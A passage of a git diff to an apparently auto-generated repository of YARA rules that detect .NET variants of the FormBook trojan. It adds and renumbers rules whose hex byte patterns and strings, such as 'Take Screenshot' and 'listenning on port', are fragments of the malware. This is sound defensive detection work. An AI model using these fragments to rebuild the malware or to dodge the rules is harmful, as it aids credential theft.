59 8d 62 00 00 01 0d 02 09 16 07 17 59 6f 78 00 00 0a 26 09 73 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFB_MTB.yar index cc63971cc1..602ed94f16 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFB_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFB_MTB.yar @@ -153,6 +153,16 @@ rule Trojan_BAT_FormBook_AFB_MTB_15{ } rule Trojan_BAT_FormBook_AFB_MTB_16{ + meta: + description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {02 11 07 11 08 6f ?? 00 00 0a 13 09 12 09 28 ?? 00 00 0a 16 61 d2 13 0a 12 09 28 ?? 00 00 0a 16 61 d2 13 0b 12 09 28 ?? 00 00 0a 16 61 d2 13 0c 07 11 0a 6f ?? 00 00 0a 08 11 0b 6f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_FormBook_AFB_MTB_17{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -163,7 +173,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_16{ ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFB_MTB_17{ +rule Trojan_BAT_FormBook_AFB_MTB_18{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -174,7 +184,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_17{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFB_MTB_18{ +rule Trojan_BAT_FormBook_AFB_MTB_19{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -184,7 +194,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_18{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_FormBook_AFB_MTB_19{ +rule Trojan_BAT_FormBook_AFB_MTB_20{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -195,7 +205,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_19{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFB_MTB_20{ +rule Trojan_BAT_FormBook_AFB_MTB_21{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " @@ -206,7 +216,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_20{ ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 } -rule Trojan_BAT_FormBook_AFB_MTB_21{ +rule Trojan_BAT_FormBook_AFB_MTB_22{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -216,7 +226,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_21{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_FormBook_AFB_MTB_22{ +rule Trojan_BAT_FormBook_AFB_MTB_23{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -226,7 +236,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_22{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_FormBook_AFB_MTB_23{ +rule Trojan_BAT_FormBook_AFB_MTB_24{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -237,7 +247,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_23{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_FormBook_AFB_MTB_24{ +rule Trojan_BAT_FormBook_AFB_MTB_25{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -248,7 +258,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_24{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFB_MTB_25{ +rule Trojan_BAT_FormBook_AFB_MTB_26{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -259,7 +269,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_25{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFB_MTB_26{ +rule Trojan_BAT_FormBook_AFB_MTB_27{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -273,7 +283,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_26{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule Trojan_BAT_FormBook_AFB_MTB_27{ +rule Trojan_BAT_FormBook_AFB_MTB_28{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -284,7 +294,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_27{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_BAT_FormBook_AFB_MTB_28{ +rule Trojan_BAT_FormBook_AFB_MTB_29{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -295,7 +305,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_28{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_FormBook_AFB_MTB_29{ +rule Trojan_BAT_FormBook_AFB_MTB_30{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -306,7 +316,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_29{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFB_MTB_30{ +rule Trojan_BAT_FormBook_AFB_MTB_31{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " @@ -318,7 +328,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_30{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 } -rule Trojan_BAT_FormBook_AFB_MTB_31{ +rule Trojan_BAT_FormBook_AFB_MTB_32{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -329,7 +339,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_31{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFB_MTB_32{ +rule Trojan_BAT_FormBook_AFB_MTB_33{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " @@ -343,7 +353,7 @@ rule Trojan_BAT_FormBook_AFB_MTB_32{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=8 } -rule Trojan_BAT_FormBook_AFB_MTB_33{ +rule Trojan_BAT_FormBook_AFB_MTB_34{ meta: description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -353,4 +363,19 @@ rule Trojan_BAT_FormBook_AFB_MTB_33{ condition: ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 +} +rule Trojan_BAT_FormBook_AFB_MTB_35{ + meta: + description = "Trojan:BAT/FormBook.AFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 06 00 00 " + + strings : + $a_01_0 = {52 00 6f 00 79 00 4e 00 45 00 53 00 20 00 4e 00 65 00 78 00 75 00 73 00 } //6 RoyNES Nexus + $a_01_1 = {4e 00 65 00 62 00 75 00 6c 00 61 00 20 00 48 00 6f 00 72 00 69 00 7a 00 6f 00 6e 00 20 00 54 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 69 00 65 00 73 00 } //5 Nebula Horizon Technologies + $a_01_2 = {51 00 75 00 61 00 6e 00 74 00 75 00 6d 00 2e 00 32 00 30 00 32 00 35 00 2e 00 53 00 70 00 72 00 69 00 6e 00 67 00 } //4 Quantum.2025.Spring + $a_01_3 = {54 00 61 00 6b 00 65 00 20 00 53 00 63 00 72 00 65 00 65 00 6e 00 73 00 68 00 6f 00 74 00 } //3 Take Screenshot + $a_01_4 = {6c 00 69 00 73 00 74 00 65 00 6e 00 6e 00 69 00 6e 00 67 00 20 00 6f 00 6e 00 20 00 70 00 6f 00 72 00 74 00 } //2 listenning on port + $a_01_5 = {63 00 6c 00 69 00 65 00 6e 00 74 00 20 00 73 00 74 00 6f 00 70 00 70 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 20 00 63 00 6c 00 6f 00 73 00 69 00 6e 00 67 00 20 00 70 00 72 00 6f 00 70 00 65 00 72 00 6c 00 79 00 } //1 client stopped without closing properly + condition: + ((#a_01_0 & 1)*6+(#a_01_1 & 1)*5+(#a_01_2 & 1)*4+(#a_01_3 & 1)*3+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1) >=21 + } \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFMB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFMB_MTB.yar new file mode 100644 index 0000000000..4614adff94 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFMB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_AFMB_MTB{ + meta: + description = "Trojan:BAT/FormBook.AFMB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0c 07 17 da 0d 20 1a ba 15 00 13 04 2b 16 08 03 74 ?? 00 00 1b 11 04 91 6f ?? 01 00 0a 00 11 04 17 d6 13 04 11 04 09 31 e5 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFO_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFO_MTB.yar index 6004ab403d..4cf34c156a 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFO_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AFO_MTB.yar @@ -63,6 +63,17 @@ rule Trojan_BAT_FormBook_AFO_MTB_7{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : + $a_03_0 = {16 13 09 2b 19 00 06 7b ?? 01 00 04 11 24 11 09 91 6f ?? 01 00 0a 00 00 11 09 17 58 13 09 11 09 11 16 fe 04 13 25 } //2 + $a_01_1 = {44 00 6f 00 41 00 6e 00 43 00 61 00 4e 00 68 00 61 00 6e 00 } //1 DoAnCaNhan + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_BAT_FormBook_AFO_MTB_8{ + meta: + description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + strings : $a_03_0 = {0a 16 91 13 05 08 17 8d ?? ?? ?? 01 25 16 11 05 9c 6f ?? ?? ?? 0a 09 18 58 0d 09 07 6f ?? ?? ?? 0a fe 04 13 06 11 06 2d c4 } //2 $a_01_1 = {51 00 75 00 61 00 6e 00 4c 00 79 00 42 00 61 00 6e 00 48 00 61 00 6e 00 67 00 } //1 QuanLyBanHang @@ -70,7 +81,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_7{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_8{ +rule Trojan_BAT_FormBook_AFO_MTB_9{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -80,7 +91,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_8{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_FormBook_AFO_MTB_9{ +rule Trojan_BAT_FormBook_AFO_MTB_10{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -91,7 +102,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_9{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_10{ +rule Trojan_BAT_FormBook_AFO_MTB_11{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -102,7 +113,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_10{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_11{ +rule Trojan_BAT_FormBook_AFO_MTB_12{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -113,7 +124,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_11{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_12{ +rule Trojan_BAT_FormBook_AFO_MTB_13{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -124,7 +135,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_12{ ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_13{ +rule Trojan_BAT_FormBook_AFO_MTB_14{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -134,7 +145,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_13{ ((#a_03_0 & 1)*1) >=1 } -rule Trojan_BAT_FormBook_AFO_MTB_14{ +rule Trojan_BAT_FormBook_AFO_MTB_15{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -145,7 +156,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_14{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_15{ +rule Trojan_BAT_FormBook_AFO_MTB_16{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -156,7 +167,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_15{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_FormBook_AFO_MTB_16{ +rule Trojan_BAT_FormBook_AFO_MTB_17{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -167,7 +178,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_16{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_FormBook_AFO_MTB_17{ +rule Trojan_BAT_FormBook_AFO_MTB_18{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -178,7 +189,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_17{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_18{ +rule Trojan_BAT_FormBook_AFO_MTB_19{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -189,7 +200,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_18{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 } -rule Trojan_BAT_FormBook_AFO_MTB_19{ +rule Trojan_BAT_FormBook_AFO_MTB_20{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " @@ -204,7 +215,7 @@ rule Trojan_BAT_FormBook_AFO_MTB_19{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule Trojan_BAT_FormBook_AFO_MTB_20{ +rule Trojan_BAT_FormBook_AFO_MTB_21{ meta: description = "Trojan:BAT/FormBook.AFO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AGB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AGB_MTB.yar new file mode 100644 index 0000000000..65585852af --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AGB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_AGB_MTB{ + meta: + description = "Trojan:BAT/FormBook.AGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 0b 11 08 18 6a 58 20 00 01 00 00 6a 5d d4 91 61 d2 13 1c 11 1a 11 0b 11 08 20 00 01 00 00 6a 5d d4 91 61 d2 13 1d 11 1b 11 0b 11 08 17 6a 58 20 00 01 00 00 6a 5d d4 91 61 d2 13 1e } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AG_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AG_MTB.yar new file mode 100644 index 0000000000..6da5dec833 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_AG_MTB{ + meta: + description = "Trojan:BAT/FormBook.AG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 25 16 11 0a 75 0b 00 00 1b 16 99 d2 9c 25 17 11 0a 74 0b 00 00 1b 17 99 d2 9c 25 18 11 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKFB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKFB_MTB.yar new file mode 100644 index 0000000000..d945a029f2 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKFB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_AKFB_MTB{ + meta: + description = "Trojan:BAT/FormBook.AKFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 17 12 16 28 ?? 01 00 0a 13 18 12 16 28 ?? 01 00 0a 13 19 11 17 11 18 58 11 19 58 26 04 03 6f ?? 01 00 0a 59 25 17 28 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKN_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKN_MTB.yar new file mode 100644 index 0000000000..2f4c35db3f --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKN_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_AKN_MTB{ + meta: + description = "Trojan:BAT/FormBook.AKN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {02 08 11 04 6f ?? 00 00 0a 13 09 19 8d ?? 00 00 01 25 16 12 09 28 ?? 00 00 0a 6c 07 16 9a 16 99 5a a1 25 17 12 09 28 ?? 00 00 0a 6c 07 17 9a 17 99 5a a1 25 18 12 09 28 ?? 00 00 0a 6c 07 18 9a 18 99 5a a1 } //2 + $a_01_1 = {43 00 61 00 6c 00 63 00 75 00 6c 00 61 00 64 00 6f 00 72 00 61 00 4d 00 65 00 64 00 69 00 61 00 41 00 6c 00 75 00 6e 00 6f 00 } //1 CalculadoraMediaAluno + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKO_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKO_MTB.yar new file mode 100644 index 0000000000..5990114edd --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKO_MTB.yar @@ -0,0 +1,31 @@ + +rule Trojan_BAT_FormBook_AKO_MTB{ + meta: + description = "Trojan:BAT/FormBook.AKO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 15 12 15 28 ?? 00 00 0a 16 61 d2 13 16 12 15 28 ?? 00 00 0a 16 61 d2 13 17 12 15 28 ?? 00 00 0a 16 61 d2 13 18 19 8d ?? 00 00 01 25 16 11 16 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_FormBook_AKO_MTB_2{ + meta: + description = "Trojan:BAT/FormBook.AKO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 fe 01 13 0b 11 0b 2c 5a 00 03 19 8d ?? 00 00 01 25 16 12 07 28 ?? 00 00 0a 9c 25 17 12 07 28 ?? 00 00 0a 9c 25 18 12 07 28 ?? 00 00 0a 9c 6f ?? 00 00 0a 00 28 ?? 00 00 0a 13 0d 12 0d 28 ?? 00 00 0a 18 5d 17 fe 01 13 0c 11 0c } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_FormBook_AKO_MTB_3{ + meta: + description = "Trojan:BAT/FormBook.AKO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {02 08 09 6f ?? 01 00 0a 13 04 04 03 6f ?? 01 00 0a 59 13 05 11 05 19 32 29 03 12 04 28 ?? 01 00 0a 6f ?? 01 00 0a 03 12 04 28 ?? 01 00 0a 6f ?? 01 00 0a 03 12 04 28 ?? 01 00 0a 6f ?? 01 00 0a 2b 47 11 05 16 31 42 19 8d ?? 00 00 01 25 16 12 04 28 ?? 01 00 0a 9c 25 17 12 04 28 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKR_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKR_MTB.yar index 6014881ea2..cc11837ab6 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKR_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AKR_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_FormBook_AKR_MTB{ + meta: + description = "Trojan:BAT/FormBook.AKR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {07 17 5f 0d 2b 60 07 18 5f 17 63 13 04 2b 3f 06 02 09 11 04 6f ?? 01 00 06 13 05 04 03 6f ?? 00 00 0a 59 13 06 11 06 19 28 ?? 00 00 06 2c 0a 03 11 05 28 ?? 00 00 06 2b 0f 11 06 16 31 0a 03 11 05 11 06 28 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_BAT_FormBook_AKR_MTB_2{ meta: description = "Trojan:BAT/FormBook.AKR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AMYA_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AMYA_MTB.yar new file mode 100644 index 0000000000..554e6ebc1d --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AMYA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_FormBook_AMYA_MTB{ + meta: + description = "Trojan:BAT/FormBook.AMYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {0a 2f 6c 02 7b ?? 01 00 04 6f ?? 01 00 0a 02 7b ?? 01 00 04 2f 53 17 8d ?? 00 00 01 25 16 02 7b ?? 01 00 04 03 04 6f ?? 01 00 0a a4 ?? 00 00 01 02 7b ?? 01 00 04 25 2d 16 26 02 02 fe ?? ?? 00 00 06 73 ?? 01 00 0a 25 0a 7d ?? 01 00 04 06 28 ?? 00 00 2b 02 7b ?? 01 00 04 03 04 17 58 6f ?? 01 00 0a 28 ?? 00 00 2b 2a 28 ?? 00 00 2b 2a 02 7b ?? 01 00 04 03 17 58 16 6f ?? 01 00 0a 2a 28 ?? 00 00 2b 2a } //5 + $a_03_1 = {01 25 16 09 16 18 6f ?? 01 00 0a a2 25 17 72 d4 10 00 70 a2 25 18 11 04 16 18 6f ?? 01 00 0a 6f ?? 01 00 0a a2 25 19 72 d4 10 00 70 a2 25 1a 11 06 2d 07 } //2 + $a_03_2 = {0a 11 05 61 11 0c 6f ?? 00 00 0a 61 13 0f 1b 8d ?? 00 00 01 25 16 12 0f 72 a6 3a 00 70 28 ?? 01 00 0a a2 25 17 72 aa 3a 00 70 a2 25 18 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AOF_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AOF_MTB.yar index 96ec87da92..3eb1168078 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AOF_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_AOF_MTB.yar @@ -10,6 +10,16 @@ rule Trojan_BAT_FormBook_AOF_MTB{ } rule Trojan_BAT_FormBook_AOF_MTB_2{ + meta: + description = "Trojan:BAT/FormBook.AOF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 13 34 2b 32 00 11 07 11 06 8e 69 5d 13 35 11 06 11 35 11 32 11 34 91 9c 03 11 32 11 34 91 6f ?? ?? ?? 0a 00 11 07 17 58 11 06 8e 69 5d 13 07 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_FormBook_AOF_MTB_3{ meta: description = "Trojan:BAT/FormBook.AOF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -20,7 +30,7 @@ rule Trojan_BAT_FormBook_AOF_MTB_2{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_FormBook_AOF_MTB_3{ +rule Trojan_BAT_FormBook_AOF_MTB_4{ meta: description = "Trojan:BAT/FormBook.AOF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ATB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ATB_MTB.yar new file mode 100644 index 0000000000..9ee1c4fee0 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_ATB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_ATB_MTB{ + meta: + description = "Trojan:BAT/FormBook.ATB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {0c 2b 1e 08 6f ?? 00 00 0a 0d 00 00 03 09 16 6a 28 ?? 00 00 06 58 10 01 00 de 05 26 00 00 de 00 00 08 6f ?? 00 00 0a 2d da de 0b } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAA_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAA_MTB.yar index 323b541fea..a34429ef14 100644 --- a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAA_MTB.yar +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAA_MTB.yar @@ -8,4 